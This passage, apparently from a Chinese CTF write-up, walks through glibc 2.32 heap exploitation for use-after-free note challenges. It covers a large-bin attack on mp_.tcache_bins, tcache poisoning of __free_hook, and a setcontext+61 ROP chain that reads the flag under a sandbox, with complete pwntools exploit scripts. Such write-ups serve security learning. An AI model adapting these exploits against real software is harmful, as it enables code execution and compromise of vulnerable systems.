edit(10,p64(system))

free(9)
#gdb.attach(io)

io.interactive()

large_note

uaf题型,涉及libc2.32下的house of corruption利用,主要适用于申请largebin大小的chunk题型,利用house of corruption可以改大一个已知地址。

参考博客

该题中add堆块的范围在0x500 ~ 0x900之间,释放的堆块无法进入tcache

用于利用实现house of corruption的代码如下:

1
2
3
4
5
6
7
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
  • 申请一个0x520大小的堆块,再申请一个0x500大小的堆块避免合并,再申请一个0x510大小的堆块用于后续触发上述代码(需小于第一个堆块)。
  • 释放掉第一个堆块并泄露libc基址,其进入unsortedbin,如果下一个申请的堆块大于0x520,则位于unsortedbin中的free chunk进入largebin,否则被切割利用。
  • 因此申请一个0x600(必须大于0x520)的堆块,使位于unsortedbin中的free chunk进入largebin
  • 修改largebin chunkbk->nextsize为目标地址target-0x20,此处我们的target选择mp_+80即存储tcachebin数量的地址,初试为64,涵盖0x10 ~ 0x400,我们要将其改成一个大值。
  • 释放第三个堆块,其进入unsortedbin,故技重施再申请一个0x600的堆块,使位于unsortedbin中的free chunk进入largebin,触发house of corruption
  • 此时再释放的堆块都会进入tcachebin,利用double free完成对__free_hook的劫持即可。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
io=process("./vuln")
libc=ELF("libc-2.32.so")

def add(index,size):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(4))
io.sendlineafter("Index: ",str(index))

def edit(index,content):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",content)

add(0,0x520)
add(1,0x500)
add(2,0x510)
add(3,0x500)
free(0)
edit(0,'\x12')
show(0)
lb=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-0x12-libc.sym["__malloc_hook"]
edit(0,'\x00')
log.success("lb="+hex(lb))

bin_num=lb+1979008+80
free_hook=lb+libc.sym["__free_hook"]
system=lb+libc.sym["system"]

add(4,0x600)
free(2)
edit(0,p64(0)*3+p64(bin_num-0x20))

add(5,0x600)
free(5)
show(5)
key=u64(io.recv(5).ljust(8,b'\x00'))
fk=free_hook^key
log.success("key="+hex(key))

edit(5,p64(0)*2)
free(5)
edit(5,p64(fk))
add(6,0x600)
add(7,0x600)
edit(7,p64(system))

edit(6,"/bin/sh\x00")
free(6)
#gdb.attach(io)

io.interactive()

note_context

相比于上题开了沙箱黑名单,禁用了execverdirdxsetcontext+61一把梭:

1
2
3
4
// rdi2rdx
.text:000000000014B760 48 8B 57 08 mov rdx, [rdi+8]
.text:000000000014B764 48 89 04 24 mov [rsp+0C8h+var_C8], rax
.text:000000000014B768 FF 52 20 call qword ptr [rdx+20h]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// setcontext+61
.text:000000000005306D 48 8B A2 A0 00 00 00 mov rsp, [rdx+0A0h]
.text:0000000000053074 48 8B 9A 80 00 00 00 mov rbx, [rdx+80h]
.text:000000000005307B 48 8B 6A 78 mov rbp, [rdx+78h]
.text:000000000005307F 4C 8B 62 48 mov r12, [rdx+48h]
.text:0000000000053083 4C 8B 6A 50 mov r13, [rdx+50h]
.text:0000000000053087 4C 8B 72 58 mov r14, [rdx+58h]
.text:000000000005308B 4C 8B 7A 60 mov r15, [rdx+60h]
.text:000000000005308F 64 F7 04 25 48 00 00 00 02 00+test dword ptr fs:48h, 2
.text:000000000005308F 00 00
.text:000000000005309B 0F 84 B5 00 00 00 jz loc_53156

.text:0000000000053156 loc_53156: ; CODE XREF: setcontext+6B↑j
.text:0000000000053156 48 8B 8A A8 00 00 00 mov rcx, [rdx+0A8h]
.text:000000000005315D 51 push rcx
.text:000000000005315E 48 8B 72 70 mov rsi, [rdx+70h]
.text:0000000000053162 48 8B 7A 68 mov rdi, [rdx+68h]
.text:0000000000053166 48 8B 8A 98 00 00 00 mov rcx, [rdx+98h]
.text:000000000005316D 4C 8B 42 28 mov r8, [rdx+28h]
.text:0000000000053171 4C 8B 4A 30 mov r9, [rdx+30h]
.text:0000000000053175 48 8B 92 88 00 00 00 mov rdx, [rdx+88h]
.text:0000000000053175 ; } // starts at 53030
.text:000000000005317C ; __unwind {
.text:000000000005317C 31 C0 xor eax, eax
.text:000000000005317E C3 retn
  • 需要注意的是,若调用open函数报错,可以尝试pop_rax_ret+syscall进行系统调用。
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
#io=process("./vuln")
io=remote("week-3.hgame.lwsec.cn",30475)
libc=ELF("libc-2.32.so")

def add(index,size):
io.sendlineafter(">",str(1))
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(size))

def free(index):
io.sendlineafter(">",str(2))
io.sendlineafter("Index: ",str(index))

def show(index):
io.sendlineafter(">",str(4))
io.sendlineafter("Index: ",str(index))

def edit(index,content):
io.sendlineafter(">",str(3))
io.sendlineafter("Index: ",str(index))
io.sendafter("Content: ",content)

add(0,0x520)
add(1,0x500)
add(2,0x510)
add(3,0x500)
free(0)
edit(0,'\x12')
show(0)
lb=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-0x12-libc.sym["__malloc_hook"]
edit(0,'\x00')
log.success("lb="+hex(lb))

bin_num=lb+1979008+80
free_hook=lb+libc.sym["__free_hook"]

add(4,0x600)
free(2)
edit(0,p64(0)*3+p64(bin_num-0x20))

add(5,0x600)
free(5)
show(5)
key=u64(io.recv(5).ljust(8,b'\x00'))
fk=free_hook^key
log.success("key="+hex(key))
edit(5,p64(0)*2)
free(5)
edit(5,p64(fk))
add(6,0x600)
add(7,0x600)

rdi2rdx=lb+0x000000000014b760
setcontext=lb+0x5306D
ret=lb+0x0000000000026699
pop_rdi=lb+0x000000000002858f
pop_rsi=lb+0x000000000002ac3f
pop_rdx_r12=lb+0x0000000000114161
pop_rax=lb+0x0000000000045580
syscall=lb+0x00108D55
read=lb+libc.sym["read"]
write=lb+libc.sym["write"]

heap=key*0x1000+0x1f0
edit(7,p64(rdi2rdx))

edit(6,p64(0)+p64(heap))

payload=b"flag\x00\x00\x00\x00"+p64(0)+p64(setcontext)+p64(1)*15+p64(heap+0xc0-0x10)
payload+=p64(pop_rdi)+p64(heap+0x10)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x28)+p64(pop_rdx_r12)+p64(0x30)*2+p64(read)
payload+=p64(pop_rdi)+p64(1)+p64(write)

edit(3,payload)
#gdb.attach(io,"b *{}".format(setcontext))
#pause()
free(6)
io.interactive()

WEEK4

pwn

without_look

house of apple by Lynne